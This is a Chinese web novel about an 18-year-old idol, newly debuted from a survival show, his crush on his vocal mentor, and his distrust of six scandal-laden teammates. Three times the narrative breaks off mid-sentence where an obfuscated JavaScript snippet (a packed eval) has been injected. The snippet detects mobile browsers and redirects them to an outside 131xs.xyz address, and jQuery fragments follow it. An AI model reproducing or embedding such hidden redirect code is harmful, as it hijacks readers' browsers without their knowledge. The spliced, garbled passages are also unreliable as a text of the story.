《我和我的六个塌房队友》 1. 出道第一天 闹钟铃声在耳边炸开。 下一瞬间,蓝鸢闭着眼从床上坐起来,然后伸出右手,习惯性在声源传来的方向摸索——这是他过去三个月多月来,在选秀基地高压生活下形成的条件反射。 而意料之外的是,他并没有摸到本来应该在那里的小闹钟,反而是够到了一些乱七八糟的物件……接着,似乎是摸索过程中不小心将什么东西碰到了地上,总之,他听见了一声物品坠地的声音。 很响。于是蓝鸢的大脑瞬间清醒了。 他睁开眼低头,看见一部手机正躺在身旁的地面上,还在孜孜不倦播放着熟悉的闹铃声……是好久没见到的那一部自己的手机。 蓝鸢弯下腰将它捡了起来,关掉正在鸣响的闹钟,看见上面显示的时间是2025年5月25号,早上八点整。接着,他检查了一遍,确认手机没有摔坏,这才终于有空观察现在所在的环境。 这是一个……完全陌生的地方,只能看出来大概率是比较高档的酒店房间,但他并不认识墙上的logo。房间里只有一张床——就是他目前坐着的这张。 这个房间并不算太空旷和荒凉,相反,其中有着明显的人类生活的痕迹,比如喝到一半的水,凳子上搭着的外套,桌面上摆着的纸笔,角落里立着的橙色旅行箱,身边插板上的电源线,等等。 外套有点眼熟,是祁心忱昨晚在舞台上穿过的——这个认知让蓝鸢感到了片刻的安心,这起码说明昨晚没发生什么不好的事。只不过,除了自己手上的手机之外,目光所及之处,再没有任何属于自己的物件……就连身上穿着的睡衣都不是自己的。 蓝鸢又感觉有点头疼了,自己也分不太清是生理意义还是心理意义的头疼。 他翻身下床,按了按太阳穴,接着开始试图回忆前一天发生了什么。 * 前一天晚上,2025年5月24日,是他参加的选秀节目《为你心动》第三季的决赛夜。 蓝鸢刚满18岁,是高三音乐生……距离高考文化课考试还有13天的高三音乐生。 去年,17岁的蓝鸢很需要钱,所以就像很多学唱歌学跳舞学表演、同时长得还不错的艺术生那样,动了进娱乐圈的心思——当时恰逢为你心动第三季在招募选手,于是他和几个认识的同学一起去参加了海选面试。 为你心动是个偶像团选秀节目,用的是近年来流行的101系赛制,一年办一季,男女团间隔办。 虽然第一季的出道团七个人塌了五个,第二季的出道团因为乱运营而聚死分生,但起码两季正片都算高国民度综艺、出道组也都有人跻身“顶流”,所以各大公司依然会持续送人去参加。 因此,多数参赛位置是各家娱乐公司争,真正留给素人海选的名额估计就没几个、或者有没有都难说……总之,蓝鸢去面试的时候并没有抱很大的希望,结果大概运气不错,被选了进去。 再后来,他就去参加了节目。 参加节目想的也是刷脸,多几个人认识总是好的,下一步的路下一步再说——都第三季了,各路资本渗透已然相当全面,素人选手本来就很难出头。 蓝鸢一开始没指望过进出道组,毕竟出道组基本都是资本博弈的结果。但他比一般素人好点,课余在一个视频网站做唱见,有个经营了五年的、有一百多万粉丝的账号。 这些粉丝里,一定有人会看节目,并在见到真人的脸后,喜欢上那个立绘背后的他本人,然后帮他炒一炒热度。蓝鸢想,即使镜头量很少,冲进决赛也并非不可能。 他知道自己这张脸很有优势——赛期选手互投颜值top时,他拿到的票数是断层第一。选秀讲究短平快吸粉,而不是长期的人设塑造,没有充足的时间了解一个人的前提下,一张好看的脸外加账号里七十多个风格不同的翻唱视频,已经足够给他提供不低的人气。 只不过,真实的情况比他预期还要乐观不少。 蓝鸢和其他选手一样偷藏了备用手机,每期正片他都会看。于是他发现自己拿到的镜头意料之外还不错—— 初舞台三分半表演一刀没剪,连和导师的互动都留了大半;主题曲学习期间教F班唱歌跳舞的镜头也都在,这群人夸他的后采都有几条;他当C位一拖六的公演给他剪了完整故事线,当队长的公演也给了能证明领导能力的镜头,舞台上的高光表现更是全都保留了下来。 在知道原因之前,蓝鸢一直觉得这是奇迹般的待遇——当然,这实质是把他做得好的地方如实呈现出来,节目捧他的力度远不如那些真正的皇族,只是对蓝鸢而言,这些已经太足够了。 已经太足够他成为这个节目的人气top了。 事实上,从三公全场第一开始,蓝鸢确实就已经是这个节目的人气top了。 人气top,只是没有断层——但只要不断层,他一个货真价实的个人练习生,就不可能拿到终C。对此,早在赛时拒绝一众娱乐公司的私下联系时,蓝鸢就已有预料。 于是他对结果并没有什么太大的意外,反倒是观众更意外。 昨晚从舞台上下来之后,蓝鸢打开微博,就看到热搜第一是#蓝鸢第二#,这个词条后面跟着一个“爆”字,甚至还在#沈艾初C位#和#Butterfly#两个tag之上——后一个是新鲜出炉的他们团名。 团名叫蝴蝶,一听就感觉要糊,蓝鸢心想。 后来……他继续回忆,结束了出道夜的直播,他们出道组进行了一个简短的媒体发布会,就被拖去参加庆功宴。 庆功宴本质是庆祝节目顺利办完、取得了好的营收。他们这些艺人,在其中的定位就是工具人。当然,按理来说,这种场合会有很多业内资方,去social会有一些好处,但蓝鸢不太想去。 他本来就没有要大红大紫的野心——蓝鸢知道,在娱乐圈这种地方,除非运气真的很好或者家境真的优越,否则大红大紫总归需要付出不小的代价。常见的代价各式各样,但他一个都不想给,他不想变得不像自己。 大热选秀出道组这个起点不低,在此基础上,不温不火地待下去就很好,也能赚到他需要的足够的钱了。 总之,队友们在走动,蓝鸢就坐在给他们安排的座位上吃饭。 本来是这样的。 但事情的发展往往事与愿违。 坐了一会,刚认识几小时的他们未来经纪人就来招呼这群出道组,让他们去和资方那边进行一些酒桌文化。蓝鸢本来喝的是柠檬水,但他的队友们都喝酒,对面也都喝酒,大家喝着喝着就开始起哄,说小圆你现在成年了,也来一小杯吧。 蓝鸢试图推拒,但推了几次没推掉,氛围也变得僵了起来。于是没办法,他也被迫倒了半杯,跟着大家一起喝掉……再之后,意识就有点模糊了。 模糊之中,他隐隐约约还记得听见祁心忱的声音,先是对他说刚刚改毕设文稿去了抱歉来晚了点,又问其他人你们谁让他喝的——这话问出来后的几秒内,桌上……连带隔壁两桌的所有人都没敢说话。 “都装聋作哑是吧?刚刚不是聊得挺欢的吗?这会就听不见我问话了对吧?”在仅有的记忆的末尾,蓝鸢靠在祁心忱怀里被他抱着,听见这人用一种乍一听温温和和、但声压很强的语气说,“装听不见也没关系,我只把我想说的说完。以后谁敢再劝他喝酒的话,就……” ……就什么?蓝鸢眨眨眼,拼命回忆,但还是什么都没回忆起来。他只记得自己说过很喜欢祁心忱的长发造型,觉得很漂亮,所以这人昨天决赛夜专门重新接了长发。说这话的时候,长发披散着垂落下来,其中一部分顺着蓝鸢的脖子和肩头滑动,让他觉得有点痒。 而记忆中的下一个场景,就已经是自己被闹钟叫醒了。 蓝鸢的哥哥平日里抽烟喝酒赌博样样都沾,欠了很多钱,他从小见过这人发酒疯的模样,觉得很可怕,所以自己本来从不沾酒,对自身酒量也毫无认知……昨晚是实在拒不动了,被迫喝了一点,虽然度数很高,但他也没想到真的能小半杯就昏昏沉沉还断片。 但总之,蓝鸢能想到,后续发展大概率是祁心忱带走了他,并找了个地方安置他——看现在这里的状况,大概率这个房间是祁心忱这几天住的酒店。 祁心忱这人,是《为你心动》第一季的出道团Dreams的成员、他们这一季的vocal导师、娱乐圈的新晋顶流,也是蓝鸢现在的……暗恋对象。 蓝鸢在节目里的定位是头号大主唱——vocal担和vocal导师经常交流是很顺理成章的事,他和祁心忱能成为朋友也是很顺利成章的事,再往后,他会喜欢上祁心忱也是很顺理成章……并不,是很不正常的事。 太不正常了。 如同刻板印象,蓝鸢集训认识的艺术生里同性恋遍地都是,他倒是能毫无心理障碍地接受自己喜欢男生这事。但无论是基于他现在新晋偶像的身份、还是基于他和祁心忱只形成了短短三个月、看起来并不算很牢固的友谊,这种喜欢都还是太不正常、也太不合适了。 他有些担心,自己昨晚记忆缺失的那段时间会不会说了什么不该说的话,但现在也不能直接去问——祁心忱只比他大四岁,现在还在上大四,昨天这人就给他说过,自己上午要一早坐飞机,去赶下午学校的毕业答辩,晚上还要去录颁奖礼。 蓝鸢想,在晚十点之前还是不要打扰对方比较好。于是他还是先打开了微信。 * 蓝鸢的手机型号很旧。点进微信的时候,界面卡顿了片刻,接着消息才如同雪花般飘散了下来,直接将提示数字搞成了一串省略号。 下面很多都是来自同学老师的祝贺,他准备过会再慢慢回复;最上面一条是一个名为“Butterfly通知群”的小群,是昨晚新认识的经纪人拉他们进去的。 群里除了他们七个成员,还有几个工作人员。经纪人新发了通知,说是让大家十点在机场集合。 蓝鸢注意到了“集合”两个字——按照原定计划,他们昨晚庆功宴之后本应该一起行动,如果只有自己脱队,大概率自己会收到一条私聊,而消息发在了群里,自然说明脱队的不是一个两个。 这也不奇怪。蓝鸢想。 他们这个团里,既有本地人,又有同时谈多段恋爱的结婚的当小三的被包养的爱赌博的,五毒俱全一群人在选秀基地被闷了三个多月,后面可想而知又要团活一阵,如今难得自由一晚,大晚上的不回统一住处再正常不过了,有无数种原因让他们这个貌不合但确实神离的团聚不到一起。 赛时好几个上位圈被爆了黑料,排名骤降,最后留下来了他们七个“幸存者”。于是观众们觉得他们是七个老实本分的小偶像,实际上蓝鸢清楚,只是有人的黑料被挖出来了、于是被抵制了,有人暂时没被挖出来,所以出道了。 他这六个队友,就没有一个好东西。 蓝鸢赛时想过要不要暗戳戳去爆料,但很多事他发现太晚,那会已经到了决赛周,他靠着自己的情报网一数,进决赛的15个人根本凑不出7个正常人。 爆料可能会不小心暴露自己,即使没有,决赛前连环炸也必然沉重打击出道团的发展——轻则出道就单飞,重则团都组不了,这都不是没有原生公司的蓝鸢想看到的结果。 所以只能先沉默,在出道后、进行一定量的团活后,再慢慢处理这些问题队友。 他想到这里,又打开地图,看了看目前所在的位置,发现这里到机场只需要骑车十分钟。 这也算意料之中——他们决赛场馆距离机场很近,练习生们这几天都被安置在场馆附近的酒店,祁心忱是节目导师,会指导他们排练,于是住在附近也很正常。 况且如果真的很远,闹钟也不会在八点才响起。 他于是又突然想起来……在昨天之前,自己并没有告诉过祁心忱自己的手机锁屏密码,昨晚有记忆的时间段内,他也没有定闹钟。 他手机密码用的不是生日、也不是纪念日,只是一串随机的六位数,祁心忱不可能猜到,此外也没有设置指纹和面部解锁。也就是说,无论这个闹钟是自己后来定的、还是祁心忱帮他定的,在昨天从庆功宴离开后,自己肯定都有一段有意识、能交互的时间。 蓝鸢更担心了。他决定在晚上之前先想好话术,以防祁心忱忙完就来声讨自己做了不该做的事、或者说了不该说的话。总之,无论发生了什么,承认喜欢是不可能的,一旦承认,他纯白无暇的偶像生涯会和这段友谊一起结束在今天。 蓝鸢知道祁心忱是很好的人,不一定会因为这份情感就同自己绝交或疏远……但无论如何,知道被自己照顾的小后辈对自己有别的心思,这人内心也不可能毫无波动。 但只是这份波动,蓝鸢都不太能接受——他希望他们能稳定地做朋友,希望祁心忱对他一直不设防。 蓝鸢叹了口气,回到微信界面继续看。 群消息之后,是一条来自队友宁郁寒的道歉消息,说自己昨晚不应该劝蓝鸢喝酒,让蓝鸢醒来后联系他——道歉消息只有这一条,因为蓝鸢尚且没有主动加祁心忱外的任何人好友,而剩下五个队友里,也只有C位的沈艾初主动加了他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437650|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但沈艾初一直很怕他,线下说话都小心翼翼,可能不太敢在线上给他发消息。 宁郁寒是出道位第三名,今年19岁,他和蓝鸢的cp是这个节目的美帝cp。从15岁到现在,这人谈过至少20多个有男有女的对象,目前在谈的至少有3个,也可能更多——蓝鸢试探过,宁郁寒似乎觉得他不知道这些。 但他不仅通过非常规手段、挖出来了这人没被粉丝和对家找到的社交平台账号,知道他混乱的恋爱经历,甚至趁着没有公演要准备的节目间隙,开小号加到了其中的两个人,知道了一些故事。 宁郁寒一拿到手机,就第一个找蓝鸢来加了好友。 加好友的全过程都处在节目组的镜头之下。决赛之后还会放出一个花絮,这都是可能被塞进去的片段,一旦回应不好,就会显得自己太冷漠而对方很舔——在小说里,舔狗不是好人设,但在rps里,舔狗永远是提纯利器,是一腔热忱真心错付的可怜人。就算蓝鸢是比较盐系的人设,在这对cp里本就可以不用那么主动,但也不能对相方太盐。 毕竟cp粉要嗑双标嘛。 所以蓝鸢忍住恶心感,一改对待大多数人事物时的冷淡状态,对他也表现出了一如既往的那种……表面看起来也没那么热情、但语调和嘴角同步似有似无地上扬的状态,还在镜头之下不经意地将备注改成了“小郁哥哥”,后面贴心地加上了黄色的爱心。 宁郁寒的应援色是柠檬黄,所以这并不算刻意。 改完备注,蓝鸢抬起头,睁着那双明亮的眼睛看着对方,像是期待什么一般,同时心想得想个办法快速拆掉这对cp——他们起初能成为大势cp,是真的关系还不错,所以对后来宁郁寒意识到了cp红利、刻意做的很多小动作,蓝鸢也不是很介意……在他发现这人的黑料前是这样的,但现在的蓝鸢对此非常后悔,并祈祷能早日无痛解绑。 宁郁寒也不遑多让,当即伸出手摸了摸他的头发,然后偏头温柔地笑了笑——看上去是对着蓝鸢、只是不经意转了转方向,实际上是对着镜头。 太刻意了,生怕笑错了方向少吸了一个梦女。蓝鸢心想。 偏偏他同样试探过,这人是真有点傻,傻到不像娱乐圈中人,根本意识不到自己的小心思多明显多容易被看出来——不过大概职粉也知道他傻,一开始在论坛给他炒的人设就是快乐傻狗喜剧人。 这人设和舔狗一样,放小说里一看很烂,放真人身上实际效果很好。单傻狗人设可能上限不够,但宁郁寒个子高、体型比蓝鸢大了一圈,是传统帅哥系长相,台风很A,还是rap担,就连脚踏几条船也符合rap担的刻板印象——于是台下的傻和台上的气场全开全自动形成了反差,大大提升了傻狗塑上限的同时,也让他吃尽了红利。 在这个人设下,所有心机都可以变成“无意”,所有没处理好的事都可以变成“傻狗有什么办法呢他已经很努力动脑子了可惜是真没有脑子”,所有刻薄的伤人的不恰当的话都可以在滤镜之下变成“好玩”“不要和傻狗计较”,就连同时和多个人谈恋爱,搞不好都能洗成“不懂事”,洗成“傻狗就是平等地爱对他好的人类”。 蓝鸢选秀之前恶补过不少娱乐圈知识,对这种舆论走向太了解了——单是想想,就有种一拳头砸进棉花的无力感。 当然,他自己的盐系人设也还不错。至少有了这个人设,他可以遵从本心对大多数人爱理不理的,不用担心被大审判——别太不礼貌就行。 而一旦真的释放善意,还会被大夸特夸,说他面冷心热,是个好孩子……虽说这样的机会往后大概不会很多,因为蓝鸢真不想对任何队友释放善意。 至于这会,蓝鸢心想还有一小时就能见到对方了,于是只回了个“1”,而后就退出去继续翻列表……一直翻到那个因为太匆忙所以还没来得及加备注的、叫“stars”的id,祁心忱的id。 他们上一条消息还停留在昨天晚上,蓝鸢刚拿到手机,添加了对方的好友,得到了一条自动回复和一张图片。之后对面就再没有发来新消息。 蓝鸢先是有点意外这人的一言不发……接着才像是突然想起来什么了一般,后知后觉地将手伸进睡衣口袋里。 意料之中地,口袋里躺着一张折叠好的便笺纸。 他放下手机,取出纸打开——其上是几行文字,是这几个月里再熟悉不过的、和祁心忱本人一样漂亮而飞扬的字迹。 “to小圆: 你的衣服送去洗了,工作人员会在8点15送上来,请注意接收; 这套睡衣是我自己的,换下来后随便放在哪里就行,不用洗,别的也不用管,已经麻烦助理中午过来一趟将没带走的东西寄给我了; 你的其他行李在你们经纪人那里,过会直接去机场就可以,还有其他想问的晚点再细说; 祝出道快乐OwO” 落款处画着一颗星星。 这个符号蓝鸢很熟悉,心忱两个字的谐音是“星辰”,所以祁心忱会用星星作为自己的标记。 再下方的空白处,则被祁心忱画了一个被彩带簇拥的……蓝鸢的二次元形象的上半身。 祁心忱是美术生,学绘画的,也确实很喜欢画画。于是自从蓝鸢提过一次喜欢他画风后,这人就经常给他留这种写了字的小纸条,附带一份随意的手绘,画的都是蓝鸢唱见时期的那个立绘——蓝鸢也给他说过,自己很喜欢那个形象,很二次元不写实,但又莫名地很像自己。 昨天拿到微博账号后,他做的第一步是关注祁心忱,第二步就是将节目组赛时统一要求的、毫无美感但社畜味十足的真人定妆照头像,改成了祁心忱给自己板绘的新头像——也就是这人加他好友后发的那张图。 祁心忱的画风很多粉丝都认识。于是蓝鸢猜测,自己换头像之后,大概会被一群人说圆皇又开蹭了怎么总揪着星辰一个人蹭,被另一群人说圆皇这是嫂子瘾犯了迫不及待就换上星辰画的稿子了,被第三群人说没人按着星辰的手逼着他给小老公画图这人但凡不想画早出来阴阳了——这几种说法蓝鸢看了都很开心,毕竟都是在捆绑他和祁心忱。 总之,在做完这两件事后,他才按照经纪人的指示,缓慢完成了改名、关注团官博、其他导师、按排名关注队友等一系列不重要的工作。 本来打算晚上做另一件重要的事——写给粉丝的出道微博,结果出了意料之外的情况,现在还没来得及写。 至于之前的那些祁心忱给他手绘的便笺纸,蓝鸢也都留着,总共有11张。 这是第12张。 2. 鸢尾花耳钉 看完纸条,门外适时响起了敲门声。 蓝鸢低头看了看时间,刚好是八点十五,看起来是送衣服的来了,于是他跑过去开门。等将衣服都抱进了房间里,他才后知后觉开始思考一个新问题—— 既然知道第二天一早就要出门,祁心忱为什么会半夜把自己的衣服送去洗了?这件事有什么非做不可的必要性吗? 接着,顺着这个问题想下去,蓝鸢脑子里闪过了一个……一系列有点可怕的念头。 每一个都很严重、很完蛋、很万劫不复。 当然,虽然心中这样想着,表面上,蓝鸢还是不动声色地清点了一下,然后去浴室换衣服。 换好后又折回来,将祁心忱的睡衣折叠好放在床头。 这会已经是夏天。 昨天直播结束后,大家就把比赛的长袖长裤制服换成了短袖短裤的常服。后来因为空调冷,蓝鸢又套了件薄外套。 这个酒店房间的空调温度也不高。 所以很顺手地,他将外套也穿上,手很自然地伸进口袋里——不出意外地,什么都没有摸到。 ……不出意外地? 蓝鸢愣了愣,在心中重复了一遍这五个字,总觉得有什么不对,接着开始拼命回忆,终于又从碎成一片一片的记忆里打捞上来了新东西。 * 二公结束后,节目组组织练习生们去录过一个名为“用最少的钱买到足够的晚饭食材”,的衍生综艺。 当时是粉丝投票投的三人一组,蓝鸢的队友是宁郁寒和简旋安——后者是他们出道团的第四,是个虽然已经22岁、但仍然长得很像高中生的萌系偶像,平日里也走可爱风。 不过,虽然这位走可爱风,但身高也有一米八,比蓝鸢就矮一点点,还肉眼可见很喜欢他、自称过“蓝鸢头号信徒”、只要有采访三句话不离“小圆”两个字,于是“幸运地”成为了“蓝鸢腐唯”用于对抗美帝势力而挑选的头号拉瓜对象。 ——当然,“幸运”只是论坛的说法,指责嗑这对cp的都是“蓝鸢腐唯”,显然也是论坛的话术。 蓝鸢只是偶尔看一眼手机的繁忙选手、不是每天可以看好几个小时论坛的网友,自然也没那么分得清这些粉丝的构成比例,有些事还得靠祁心忱告诉他。 但他起码清楚,如果说没有他的存在,宁郁寒还是有很大几率出道、只是很难第三;那简旋安能出道,百分之百得归功于他自己前期在论坛网友口中对这人的“持续不间断无私输血”。 而对蓝鸢本人而言……在如今的他心中,简旋安第一次试图搭话时没有不理会对方,就是自己在整个赛期三个半月里犯的最最最严重的错误。 没有之一。 甚至如果有得选,蓝鸢现在宁愿和宁郁寒换一个排名,也不想和简旋安一个2一个4站位连号——可惜换不了,所以他已经预期到了自己在未来各种活动里,将持续承受和简旋安站在一起的痛苦。 而虽然高考全省前十、在top2心理学系读了三年半,但依旧无辜、单纯、赤忱又天真的简旋安本人……对蓝鸢的想法尚且一无所知。 只不过,录衍生那天,蓝鸢还没有讨厌上简旋安,也尚且不知道宁郁寒的20个嫂子的故事,所以他玩得很开心。 ——字面意义上玩得很开心。 这种活动,大多数人的想法都是以物易物,蓝鸢他们组也不例外。 但他想到的第一步,是去游乐园玩各种游戏,拿大奖励——这是个很危险的提议,稍不注意可能什么都没有。但宁郁寒的人设不允许他拒绝蓝鸢的提议、而简旋安更是发自内心无条件拥护他。 于是他就去玩了,并发挥自己的高超游戏技术以及同小朋友进行交易的话术,花了两个半小时,硬生生将5块的初始资金玩成了3000,远远超过了实际需求,同时给自己狠立了一波人设。 在此之后,他们瓜分了多余的钱,准备在集市上买点别的用掉,用以进一步制造节目效果。 蓝鸢先是给自己的两位同伴、一公队友和宿舍室友买了廉价小礼物,又找借口支走了跟拍摄像,而后拿着剩下的50块思索。 这时候,一个卖饰品的店出现在了他眼前。 蓝鸢自然拐了进去,视线在货架上巡回一圈,很快落在了墙上挂着的一个耳钉上。 一个……蓝色鸢尾花形状的耳钉。 大多数人听到蓝鸢这个名字,都会习惯性问一句“家里人是不是看到了蓝色鸢尾花才给你取的这个名”。 对此,蓝鸢一般都摇头,然后笑着说其实是家里人想让我展翅高飞,所以用了这个字。但实际上,这只是他用来骗人的话术。按照哥哥的说法,“蓝色鸢尾花”才是他名字的正解。 说是他妈妈很喜欢这种花,所以要给他取这个名字——蓝鸢倒也不是不喜欢这种说辞,他只是在很多关于自己的事情上都撒谎惯了,不喜欢说实话。 很多人其实感觉不到这一点。身边人对他的观感,绝大多数都是“性格有点淡、但偶尔也会像同龄人一样活泼的乖小孩,整体来说很好相处”。 只有蓝鸢高中前两年的班主任舒越明,在认识他没几天后就说,他是一个防备心很重、喜欢编故事的同学。 当然,班主任说这话并没有什么别的意思——因为原始语境是蓝鸢自己问了一句,舒老师您觉得我是个什么样的人,而对方只是再三确认他真想听实话后、确实选择了实话实说。 实际上,舒越明是个很特别、很有意思、也很好的班主任,为蓝鸢本人带来过很多积极影响。但当时的蓝鸢还是为了这个答案小小惊讶了片刻。 但总归,当时剩下两位同伴不在,于是蓝鸢毫不犹豫地花了五十块买下了那个材质普通、但异常漂亮的耳钉……之后就再也没戴过。 原因也很简单,倒不是为了维持那个“蓝鸢和蓝色鸢尾花没有任何关系”的无聊谎话,而是他根本没打耳洞。 会买这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437651|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是因为想到祁心忱喜欢戴单边耳钉,每次见都换不同的款式,既然给很多练习生带了小玩意,那给导师带也是合理的。 但刚出店门,蓝鸢就冷静了下来——祁心忱会戴在身上的装饰都不便宜,这只是一个五十块的廉价制品,指向性还特别强,各种意义上都不适合作为“礼物”。 于是蓝鸢顿了顿,最终将其放进了制服口袋,也没有告诉两位同伴,只说钱用完了。 宁郁寒是个小升初数学都不及格的笨蛋,简旋安不会怀疑他然后重新算账,摄像头当时也没有跟着,所以没人知道他买了一个耳钉,除了祁心忱。 祁心忱也是偶然看见,看见之后的第一反应是问他是不是想去打一个耳洞。 “没有,我对疼痛很敏感,所以不太想去打,”蓝鸢摇了摇头,搪塞道,“只是看见了觉得很漂亮,就买了一个。” 后半句是假话,但前半句是真话,是他前两年去医院做过测评而确认的真话——只是蓝鸢很久都没给人提过。 小学时候和班上同学打闹,大家都是对磕磕碰碰毫不在意、摔倒了能立刻爬起来继续玩的,但蓝鸢那会手臂撞一下桌子就能痛到蹲在地上哭出来再把班主任引过来,所以被阴阳怪气说娇气、矫情、公主病。 后来为了避免连表面朋友都没有,再有磕碰他就忍着表情,不表现出来。再后来转了学,蓝鸢又给自己找了新借口,说自己不太喜欢和任何人有肢体接触,也不喜欢玩各种需要碰撞的项目,比如打球之类的,借此逃掉了很多同学间的打闹,而且最多只会被说冷淡,不会得到太差的风评。 但掩饰却已经成了习惯。比如练舞就经常磕碰,练几个小时后几乎随时都有地方在疼,但如果不注意到他极其偶尔的手抖的话,大概是看不出来的。 毕竟在他的潜意识里,这种事总归会被恶意嘲笑、可能还会成为自己的把柄。 至于为什么要唐突地给祁心忱来这么一句……蓝鸢也说不准自己的心理是想卖个可怜、还是递个弱点。只是祁心忱对这话并没有任何追问,于是他也不知道这人是觉得没必要问、不适合问……还是早就知道。 毕竟祁心忱心思很细很敏锐,知道什么都不奇怪。 平心而论,不算长辈的话,蓝鸢平日里更喜欢和那些单纯的笨蛋打交道,不喜欢敏锐的聪明人,和前者相处很轻松,就算对面没安好心也容易拿捏,和后者则恰恰相反——祁心忱算是他的社交例外。 “确实很漂亮。”而“例外”听了蓝鸢的回答,只弯了弯眼睛笑着说,“我也很喜欢鸢尾花。” 蓝鸢顿了顿,最终没说出“本来想送给你”这句话。 听起来太奇怪了。 至于那个耳钉,则在他反复更换几套制服的过程中,不断从这个口袋转移到那个口袋,蓝鸢出于一种很奇妙的、自己也说不准的心思将它一直带在身上。 直到昨晚,他将其放进了常服外套的口袋里。而此刻,它已然无影无踪。 3. 队友们 蓝鸢开始了一个人的头脑风暴。 首先,大概率是什么时候弄掉了——那么小一个,估计掉在哪里都不会被发现。 但也有小概率……蓝鸢抱着一种“要不还是看一眼”的心态,打开微博切小号点开祁心忱的那堆个站,一个个往下翻,果然翻到了一个多小时前的机场图。 这人用蓝色的发带将长发在脑后扎了个高马尾,戴了副漂亮的深蓝框眼镜,穿着并没有太多装饰的浅蓝色衬衫和黑色长裤,单边背着一个双肩包。 在返图里,他转过身看着镜头,又笑着招了招手。落在日光下的发尾在空中纷飞飘动,耳垂上戴着的耳钉反射出彩虹般的微弱光泽。 硬生生将这身一看就是要去答辩的规矩衣服,穿出了一种随意而飞扬的少年感。 是很祁心忱的风格,朝气且自由。 蓝鸢点了长按保存,这才又往后翻,找了张不反光的图,而后终于确认…… 祁心忱今天戴着的,确实就是自己那个鸢尾花耳钉。 他点开评论区,评论里暂时没人提这事。 毕竟鸢尾花不是谁都认识,粉丝一般都先欣赏脸再品味气质,也不会没事每天盯着看喜欢换饰品的正主换了什么新装饰。 蓝鸢想了想,又点开了人数不算少也不算多的、昨晚刚过五千关注的远程超话……他和祁心忱的cp超话。 这个超话倒是有人说这件事,原话是“虽然小圆和鸢尾花没什么关系,忱忱的耳钉应该是工作人员配的,但是还是很巧合呢”。 鉴定为是被骂多了不像别的cp粉一样敢造谣了。蓝鸢有点无奈地心想。 在选秀节目里,这种“导师和练习生”的cp,往往都是不受待见、人人喊打、没人敢嗑的。 像他和祁心忱这种超话粉丝数高达五千的cp,已经算是有大规模在嗑了,再大可能真就会被炸超话了。 不过真要说,根据蓝鸢的认知,这个超话现在没被炸也算是个奇迹。 他们节目今年的导师组五个人年纪都不超过30岁,于是一开始导师和练习生的cp超话很是建了不少。最先被炸的当然是那些拉女导师和练习生的bg超话,接着等练习生们都有粉丝了,就有一群人喊着“不要碰瓷导师”另一群人阴阳怪气着“哪能碰瓷导师呢”,一拍即合地遍地大举报。 远程超话算是大举报浪潮下的幸存者。幸存的根源大概是嗑法小心谨慎,没有漏洞,说她们造谣都找不出证据,此外还设定了要申请才能加入超话,蓝鸢的小号都没申进去。 看上去和论坛远程专组的精神风貌毫不相关。 * 但总之,蓝鸢看完了这一系列内容,关上手机,脑子里的迷茫感又重了几分。 他想了想,又点开微信和祁心忱的聊天框,犹豫了几秒……最终还是没有问下那句“昨晚到底怎么了”。 晚上再说,晚上再说。 蓝鸢在脑子里重复了两遍,准备关上聊天窗的时候又顿了顿,而后想起来自己还是没来得及给祁心忱改备注。 他点开对方的资料,先是规规矩矩地在备注栏的位置敲了祁心忱三个字上去,又发现自己这个刚拿回来的手机的输入法尚且没有适应这个词组,还得要他自己一个字一个字地找。 于是他删掉,重新打了几次,保证输入法的“792”能第一个关联上这个名字,才按下确认。 退出去之前,蓝鸢又点开了祁心忱的头像——这个头像也是祁心忱自己画的,是他的自设,和本人很神似,穿着一身黑金色系的打歌服,偏过头一边笑一边做了个wink。 蓝鸢猜测,大概祁心忱是在某场比较重要的表演中,真的穿过这款衣服。只是他从认识对方之后的三个半月里就没有那么多时间看手机,自然没机会去补这人之前的物料。 刚好可以下载一些,过会飞机上看。 蓝鸢如此想着,又退回去将自己的微信头像也改成祁心忱画的图,而后一边放手机在后台下载物料,一边去浴室收拾了一番,便打算出门去机场。 从酒店离开的时候,蓝鸢还回过头看了一眼……有些意料之中地看到了墙上挂着的、印了五颗星星的牌子。 他心中感慨了一句“祁心忱原来住这么好的地方啊”,而后便出门找共享单车去了。 * 从这个酒店到机场候机厅的整个过程都很顺利。 ——顺利的意思当然是,蓝鸢没有在路上遇上任何拦截他的粉丝、或者是节目观众,一路毫无波澜和意外地见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那就好。”蓝鸢又笑,还想继续说点什么。结果还没来得及开口,猝不及防地……他感觉到一只手搭在了自己肩上。 手的来源是另一个方向。 4. 恋爱与隐婚 蓝鸢扭过头,看向那只手的主人宁郁寒,嘴角的笑意逐渐收敛。 “别生气别生气,”宁郁寒看到他的表情,急忙解释,“只是……你都不和我说话,感觉像是也没看到我一样。” “没有生气。”蓝鸢说。他心想自己坐下来一分钟不到,和沈艾初说几句话到底怎么这人了,能让对方自行开始代入简旋安的被冷落待遇。 但他面上倒是什么都没表现出来,只说:“但我记得我说过有点生理上讨厌和人肢体接触……可以松手了吗?” 